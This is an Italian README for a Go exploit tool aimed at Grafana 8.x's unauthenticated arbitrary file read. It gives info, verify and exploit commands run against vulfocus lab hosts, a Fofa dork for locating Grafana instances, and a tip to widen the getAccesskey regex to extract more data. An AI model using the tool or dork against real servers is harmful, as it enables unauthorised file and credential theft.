GrafanaArbitraryFileRead

Utilizzo

1. mostra info

❯ go run main.go -s                                               
[INF] VulnInfo:
{
  "Name": "Grafana Arbitrary File Read",
  "VulID": "nil",
  "Version": "1.0",
  "Author": "z3",
  "VulDate": "2021-12-07",
  "References": [
    "https://nosec.org/home/detail/4914.html"
  ],
  "AppName": "Grafana",
  "AppPowerLink": "https://grafana.com/",
  "AppVersion": "Grafana Version 8.*",
  "VulType": "Arbitrary File Read",
  "Description": "An unauthorized arbitrary file reading vulnerability exists in Grafana, which can be exploited by an attacker to read arbitrary files on the host computer without authentication.",
  "Category": "REMOTE",
  "Dork": {
    "Fofa": "app=\"Grafana\"",
    "Quake": "",
    "Zoomeye": "",
    "Shodan": ""
  }
}%     

2. verifica

echo vulfocus.fofa.so:55628 | go run main.go -v -t 20
http://vulfocus.fofa.so:55628

3. exploit

echo http://vulfocus.fofa.so:51766 | go run main.go -m exploit -v

Realizzazione dell'idea di utilizzo nel riferimento 1. Per estrarre più informazioni, modifica l'espressione regolare nella funzione getAccesskey.

Riferimenti

1. Analisi della più recente vulnerabilità di lettura arbitraria dei file di Grafana e spiegazione dei problemi derivati
2. Vulnerabilità di lettura arbitraria dei file non autorizzata in Grafana

Esclusione di responsabilità

Questa procedura è destinata esclusivamente all'autoispezione di sicurezza; si prega di rispettare consapevolmente le leggi locali.